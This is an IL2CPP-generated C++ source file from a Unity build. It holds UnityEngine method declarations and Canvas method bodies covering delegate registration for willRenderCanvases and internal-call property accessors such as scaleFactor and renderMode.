IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357 Transform_get_rotation_m3AB90A67403249AECCA5E02BC70FCE8C90FE9FB9 (Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * __this, const RuntimeMethod* method);
// UnityEngine.Vector3 UnityEngine.Vector3::get_back()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 Vector3_get_back_mE7EF8625637E6F8B9E6B42A6AE140777C51E02F7 (const RuntimeMethod* method);
// UnityEngine.Vector3 UnityEngine.Quaternion::op_Multiply(UnityEngine.Quaternion,UnityEngine.Vector3)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 Quaternion_op_Multiply_mD5999DE317D808808B72E58E7A978C4C0995879C (Quaternion_t319F3319A7D43FFA5D819AD6C0A98851F0095357 p0, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 p1, const RuntimeMethod* method);
// UnityEngine.Vector3 UnityEngine.Transform::get_position()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 Transform_get_position_mF54C3A064F7C8E24F1C56EE128728B2E4485E294 (Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * __this, const RuntimeMethod* method);
// System.Void UnityEngine.Plane::.ctor(UnityEngine.Vector3,UnityEngine.Vector3)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Plane__ctor_m6535EAD5E675627C2533962F1F7890CBFA2BA44A (Plane_t0903921088DEEDE1BCDEA5BF279EDBCFC9679AED * __this, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 p0, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 p1, const RuntimeMethod* method);
// System.Boolean UnityEngine.Plane::Raycast(UnityEngine.Ray,System.Single&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Plane_Raycast_m04E61D7C78A5DA70F4F73F9805ABB54177B799A9 (Plane_t0903921088DEEDE1BCDEA5BF279EDBCFC9679AED * __this, Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 p0, float* p1, const RuntimeMethod* method);
// UnityEngine.Vector3 UnityEngine.Ray::GetPoint(System.Single)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 Ray_GetPoint_mE8830D3BA68A184AD70514428B75F5664105ED08 (Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 * __this, float p0, const RuntimeMethod* method);
// System.Boolean UnityEngine.RectTransformUtility::ScreenPointToWorldPointInRectangle(UnityEngine.RectTransform,UnityEngine.Vector2,UnityEngine.Camera,UnityEngine.Vector3&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool RectTransformUtility_ScreenPointToWorldPointInRectangle_m821FF925C5B70477F153B4C053AE9E36A04A774F (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect0, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___screenPoint1, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam2, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 * ___worldPoint3, const RuntimeMethod* method);
// UnityEngine.Vector3 UnityEngine.Transform::InverseTransformPoint(UnityEngine.Vector3)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 Transform_InverseTransformPoint_mB6E3145F20B531B4A781C194BAC43A8255C96C47 (Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * __this, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 p0, const RuntimeMethod* method);
// UnityEngine.Vector2 UnityEngine.Vector2::op_Implicit(UnityEngine.Vector3)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D Vector2_op_Implicit_mEA1F75961E3D368418BA8CEB9C40E55C25BA3C28 (Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 p0, const RuntimeMethod* method);
// System.Boolean UnityEngine.Object::op_Inequality(UnityEngine.Object,UnityEngine.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Object_op_Inequality_m31EF58E217E8F4BDD3E409DEF79E1AEE95874FC1 (Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 * p0, Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 * p1, const RuntimeMethod* method);
// UnityEngine.Ray UnityEngine.Camera::ScreenPointToRay(UnityEngine.Vector3)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 Camera_ScreenPointToRay_m27638E78502DB6D6D7113F81AF7C210773B828F3 (Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * __this, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 p0, const RuntimeMethod* method);
// UnityEngine.Vector3 UnityEngine.Vector3::get_forward()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 Vector3_get_forward_m3E2E192B3302130098738C308FA1EE1439449D0D (const RuntimeMethod* method);
// System.Void UnityEngine.Ray::.ctor(UnityEngine.Vector3,UnityEngine.Vector3)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Ray__ctor_m695D219349B8AA4C82F96C55A27D384C07736F6B (Ray_tE2163D4CB3E6B267E29F8ABE41684490E4A614B2 * __this, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 p0, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 p1, const RuntimeMethod* method);
// System.Boolean UnityEngine.Object::op_Equality(UnityEngine.Object,UnityEngine.Object)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Object_op_Equality_mBC2401774F3BE33E8CF6F0A8148E66C95D6CFF1C (Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 * p0, Object_tAE11E5E46CD5C37C9F3E8950C00CD8B45666A2D0 * p1, const RuntimeMethod* method);
// System.Void UnityEngine.Vector2::.ctor(System.Single,System.Single)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Vector2__ctor_mEE8FB117AB1F8DB746FB8B3EB4C0DA3BF2A230D0 (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * __this, float p0, float p1, const RuntimeMethod* method);
// UnityEngine.Vector3 UnityEngine.Camera::WorldToScreenPoint(UnityEngine.Vector3)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 Camera_WorldToScreenPoint_m880F9611E4848C11F21FDF1A1D307B401C61B1BF (Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * __this, Vector3_tDCF05E21F632FE2BA260C06E0D10CA81513E6720 p0, const RuntimeMethod* method);
// UnityEngine.Transform UnityEngine.Transform::GetChild(System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * Transform_GetChild_mC86B9B61E4EC086A571B09EA7A33FFBF50DF52D3 (Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * __this, int32_t p0, const RuntimeMethod* method);
// System.Void UnityEngine.RectTransformUtility::FlipLayoutOnAxis(UnityEngine.RectTransform,System.Int32,System.Boolean,System.Boolean)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransformUtility_FlipLayoutOnAxis_mFECCA330C80845D0B75829C7DD242688911006AE (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect0, int32_t ___axis1, bool ___keepPositioning2, bool ___recursive3, const RuntimeMethod* method);
// System.Int32 UnityEngine.Transform::get_childCount()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Transform_get_childCount_m7665D779DCDB6B175FB52A254276CDF0C384A724 (Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * __this, const RuntimeMethod* method);
// UnityEngine.Vector2 UnityEngine.RectTransform::get_pivot()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D RectTransform_get_pivot_mA5BEEE2069ACA7C0C717530EED3E7D811D46C463 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, const RuntimeMethod* method);
// System.Single UnityEngine.Vector2::get_Item(System.Int32)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR float Vector2_get_Item_m67344A67120E48C32D9419E24BA7AED29F063379 (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * __this, int32_t p0, const RuntimeMethod* method);
// System.Void UnityEngine.Vector2::set_Item(System.Int32,System.Single)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Vector2_set_Item_m2335DC41E2BB7E64C21CDF0EEDE64FFB56E7ABD1 (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * __this, int32_t p0, float p1, const RuntimeMethod* method);
// System.Void UnityEngine.RectTransform::set_pivot(UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransform_set_pivot_mB791A383B3C870B9CBD7BC51B2C95711C88E9DCF (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D p0, const RuntimeMethod* method);
// UnityEngine.Vector2 UnityEngine.RectTransform::get_anchoredPosition()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D RectTransform_get_anchoredPosition_mCB2171DBADBC572F354CCFE3ACA19F9506F97907 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.RectTransform::set_anchoredPosition(UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransform_set_anchoredPosition_m4DD45DB1A97734A1F3A81E5F259638ECAF35962F (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D p0, const RuntimeMethod* method);
// UnityEngine.Vector2 UnityEngine.RectTransform::get_anchorMin()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D RectTransform_get_anchorMin_mB62D77CAC5A2A086320638AE7DF08135B7028744 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, const RuntimeMethod* method);
// UnityEngine.Vector2 UnityEngine.RectTransform::get_anchorMax()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D RectTransform_get_anchorMax_m1E51C211FBB32326C884375C9F1E8E8221E5C086 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.RectTransform::set_anchorMin(UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransform_set_anchorMin_mE965F5B0902C2554635010A5752728414A57020A (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D p0, const RuntimeMethod* method);
// System.Void UnityEngine.RectTransform::set_anchorMax(UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransform_set_anchorMax_m55EEF00D9E42FE542B5346D7CEDAF9248736F7D3 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D p0, const RuntimeMethod* method);
// System.Void UnityEngine.RectTransformUtility::FlipLayoutAxes(UnityEngine.RectTransform,System.Boolean,System.Boolean)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransformUtility_FlipLayoutAxes_mF5D9BF9F0EACBC972A22C937FD21B610410EB956 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect0, bool ___keepPositioning1, bool ___recursive2, const RuntimeMethod* method);
// UnityEngine.Vector2 UnityEngine.RectTransformUtility::GetTransposed(UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D RectTransformUtility_GetTransposed_m405847E48935C6439CFADED4188B6F3BEE55FC14 (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D ___input0, const RuntimeMethod* method);
// UnityEngine.Vector2 UnityEngine.RectTransform::get_sizeDelta()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR Vector2_tA85D2DD88578276CA8A8796756458277E72D073D RectTransform_get_sizeDelta_mDA0A3E73679143B1B52CE2F9A417F90CB9F3DAFF (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, const RuntimeMethod* method);
// System.Void UnityEngine.RectTransform::set_sizeDelta(UnityEngine.Vector2)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransform_set_sizeDelta_m7729BA56325BA667F0F7D60D642124F7909F1302 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * __this, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D p0, const RuntimeMethod* method);
// System.Void UnityEngine.RectTransformUtility::PixelAdjustPoint_Injected(UnityEngine.Vector2&,UnityEngine.Transform,UnityEngine.Canvas,UnityEngine.Vector2&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransformUtility_PixelAdjustPoint_Injected_m7F2640515030E47B1B8227306BFED31F733C9B8B (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * ___point0, Transform_tBB9E78A2766C3C83599A8F66EDE7D1FCAFC66EDA * ___elementTransform1, Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * ___canvas2, Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * ___ret3, const RuntimeMethod* method);
// System.Void UnityEngine.RectTransformUtility::PixelAdjustRect_Injected(UnityEngine.RectTransform,UnityEngine.Canvas,UnityEngine.Rect&)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void RectTransformUtility_PixelAdjustRect_Injected_m2172A105E834E9F0B292508EF544A68ED257A317 (RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rectTransform0, Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * ___canvas1, Rect_t35B976DE901B5423C11705E156938EA27AB402CE * ___ret2, const RuntimeMethod* method);
// System.Boolean UnityEngine.RectTransformUtility::PointInRectangle_Injected(UnityEngine.Vector2&,UnityEngine.RectTransform,UnityEngine.Camera)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool RectTransformUtility_PointInRectangle_Injected_m42DCFCCED1ABCAE24B543ABD1903291A3A186B2D (Vector2_tA85D2DD88578276CA8A8796756458277E72D073D * ___screenPoint0, RectTransform_t285CBD8775B25174B75164F10618F8B9728E1B20 * ___rect1, Camera_t48B2B9ECB3CE6108A98BF949A1CECF0FE3421F34 * ___cam2, const RuntimeMethod* method);
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
#ifdef __clang__
#pragma clang diagnostic pop
#endif
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
// System.Void UnityEngine.Canvas::.ctor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas__ctor_m83621E7EFCEFA5A0EDC886CB878FE10E7281B951 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
{
Behaviour__ctor_m409AEC21511ACF9A4CC0654DF4B8253E0D81D22C(__this, /*hidden argument*/NULL);
return;
}
}
// System.Void UnityEngine.Canvas::add_willRenderCanvases(UnityEngine.Canvas_WillRenderCanvases)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_add_willRenderCanvases_mACABFF4EAFB7DCFF4B9A33357D496EC3010D7E6B (WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * ___value0, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (Canvas_add_willRenderCanvases_mACABFF4EAFB7DCFF4B9A33357D496EC3010D7E6B_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * V_0 = NULL;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * V_1 = NULL;
{
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_0 = ((Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_StaticFields*)il2cpp_codegen_static_fields_for(Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_il2cpp_TypeInfo_var))->get_willRenderCanvases_4();
V_0 = L_0;
}
IL_0006:
{
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_1 = V_0;
V_1 = L_1;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_2 = V_1;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_3 = ___value0;
Delegate_t * L_4 = Delegate_Combine_mC25D2F7DECAFBA6D9A2F9EBA8A77063F0658ECF1(L_2, L_3, /*hidden argument*/NULL);
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_5 = V_0;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_6 = InterlockedCompareExchangeImpl<WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE *>((WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE **)(((Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_StaticFields*)il2cpp_codegen_static_fields_for(Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_il2cpp_TypeInfo_var))->get_address_of_willRenderCanvases_4()), ((WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE *)CastclassSealed((RuntimeObject*)L_4, WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE_il2cpp_TypeInfo_var)), L_5);
V_0 = L_6;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_7 = V_0;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_8 = V_1;
if ((!(((RuntimeObject*)(WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE *)L_7) == ((RuntimeObject*)(WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE *)L_8))))
{
goto IL_0006;
}
}
{
return;
}
}
// System.Void UnityEngine.Canvas::remove_willRenderCanvases(UnityEngine.Canvas_WillRenderCanvases)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_remove_willRenderCanvases_m9A5F0E946B4549D576EDAD5618FEA2D532377831 (WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * ___value0, const RuntimeMethod* method)
{
static bool s_Il2CppMethodInitialized;
if (!s_Il2CppMethodInitialized)
{
il2cpp_codegen_initialize_method (Canvas_remove_willRenderCanvases_m9A5F0E946B4549D576EDAD5618FEA2D532377831_MetadataUsageId);
s_Il2CppMethodInitialized = true;
}
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * V_0 = NULL;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * V_1 = NULL;
{
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_0 = ((Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_StaticFields*)il2cpp_codegen_static_fields_for(Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_il2cpp_TypeInfo_var))->get_willRenderCanvases_4();
V_0 = L_0;
}
IL_0006:
{
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_1 = V_0;
V_1 = L_1;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_2 = V_1;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_3 = ___value0;
Delegate_t * L_4 = Delegate_Remove_m0B0DB7D1B3AF96B71AFAA72BA0EFE32FBBC2932D(L_2, L_3, /*hidden argument*/NULL);
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_5 = V_0;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_6 = InterlockedCompareExchangeImpl<WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE *>((WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE **)(((Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_StaticFields*)il2cpp_codegen_static_fields_for(Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591_il2cpp_TypeInfo_var))->get_address_of_willRenderCanvases_4()), ((WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE *)CastclassSealed((RuntimeObject*)L_4, WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE_il2cpp_TypeInfo_var)), L_5);
V_0 = L_6;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_7 = V_0;
WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE * L_8 = V_1;
if ((!(((RuntimeObject*)(WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE *)L_7) == ((RuntimeObject*)(WillRenderCanvases_tBD5AD090B5938021DEAA679A5AEEA790F60A8BEE *)L_8))))
{
goto IL_0006;
}
}
{
return;
}
}
// UnityEngine.RenderMode UnityEngine.Canvas::get_renderMode()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Canvas_get_renderMode_mAF68701B143F01C7D19B6C7D3033E3B34ECB2FC8 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef int32_t (*Canvas_get_renderMode_mAF68701B143F01C7D19B6C7D3033E3B34ECB2FC8_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_renderMode_mAF68701B143F01C7D19B6C7D3033E3B34ECB2FC8_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_renderMode_mAF68701B143F01C7D19B6C7D3033E3B34ECB2FC8_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_renderMode()");
int32_t retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Boolean UnityEngine.Canvas::get_isRootCanvas()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Canvas_get_isRootCanvas_mA4ADE90017884B88AF7A9DD3114FDD4FEB73918A (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef bool (*Canvas_get_isRootCanvas_mA4ADE90017884B88AF7A9DD3114FDD4FEB73918A_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_isRootCanvas_mA4ADE90017884B88AF7A9DD3114FDD4FEB73918A_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_isRootCanvas_mA4ADE90017884B88AF7A9DD3114FDD4FEB73918A_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_isRootCanvas()");
bool retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Single UnityEngine.Canvas::get_scaleFactor()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR float Canvas_get_scaleFactor_m0F6D59E75F7605ABD2AFF6AF32A1097226CE060A (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef float (*Canvas_get_scaleFactor_m0F6D59E75F7605ABD2AFF6AF32A1097226CE060A_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_scaleFactor_m0F6D59E75F7605ABD2AFF6AF32A1097226CE060A_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_scaleFactor_m0F6D59E75F7605ABD2AFF6AF32A1097226CE060A_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_scaleFactor()");
float retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Void UnityEngine.Canvas::set_scaleFactor(System.Single)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_set_scaleFactor_m40359EE941E1573107542A2377E87BEB17C10163 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, float ___value0, const RuntimeMethod* method)
{
typedef void (*Canvas_set_scaleFactor_m40359EE941E1573107542A2377E87BEB17C10163_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *, float);
static Canvas_set_scaleFactor_m40359EE941E1573107542A2377E87BEB17C10163_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_set_scaleFactor_m40359EE941E1573107542A2377E87BEB17C10163_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_scaleFactor(System.Single)");
_il2cpp_icall_func(__this, ___value0);
}
// System.Single UnityEngine.Canvas::get_referencePixelsPerUnit()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR float Canvas_get_referencePixelsPerUnit_mF824215754F9A66CE59F57A3F282384124EB9BAB (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef float (*Canvas_get_referencePixelsPerUnit_mF824215754F9A66CE59F57A3F282384124EB9BAB_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_referencePixelsPerUnit_mF824215754F9A66CE59F57A3F282384124EB9BAB_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_referencePixelsPerUnit_mF824215754F9A66CE59F57A3F282384124EB9BAB_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_referencePixelsPerUnit()");
float retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Void UnityEngine.Canvas::set_referencePixelsPerUnit(System.Single)
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void Canvas_set_referencePixelsPerUnit_m16AF69DA4801579FD03A220D3D6293421671F341 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, float ___value0, const RuntimeMethod* method)
{
typedef void (*Canvas_set_referencePixelsPerUnit_m16AF69DA4801579FD03A220D3D6293421671F341_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *, float);
static Canvas_set_referencePixelsPerUnit_m16AF69DA4801579FD03A220D3D6293421671F341_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_set_referencePixelsPerUnit_m16AF69DA4801579FD03A220D3D6293421671F341_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::set_referencePixelsPerUnit(System.Single)");
_il2cpp_icall_func(__this, ___value0);
}
// System.Boolean UnityEngine.Canvas::get_pixelPerfect()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR bool Canvas_get_pixelPerfect_mEB8527374734F73BE960B288095A1A619E700595 (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef bool (*Canvas_get_pixelPerfect_mEB8527374734F73BE960B288095A1A619E700595_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_pixelPerfect_mEB8527374734F73BE960B288095A1A619E700595_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_pixelPerfect_mEB8527374734F73BE960B288095A1A619E700595_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_pixelPerfect()");
bool retVal = _il2cpp_icall_func(__this);
return retVal;
}
// System.Int32 UnityEngine.Canvas::get_renderOrder()
IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR int32_t Canvas_get_renderOrder_m673818EDB7D1F75F70B7FFFC1B909F1CDBA52F8D (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 * __this, const RuntimeMethod* method)
{
typedef int32_t (*Canvas_get_renderOrder_m673818EDB7D1F75F70B7FFFC1B909F1CDBA52F8D_ftn) (Canvas_tBC28BF1DD8D8499A89B5781505833D3728CF8591 *);
static Canvas_get_renderOrder_m673818EDB7D1F75F70B7FFFC1B909F1CDBA52F8D_ftn _il2cpp_icall_func;
if (!_il2cpp_icall_func)
_il2cpp_icall_func = (Canvas_get_renderOrder_m673818EDB7D1F75F70B7FFFC1B909F1CDBA52F8D_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Canvas::get_renderOrder()");
int32_t retVal = _il2cpp_icall_func(__this);
return retVal;
}
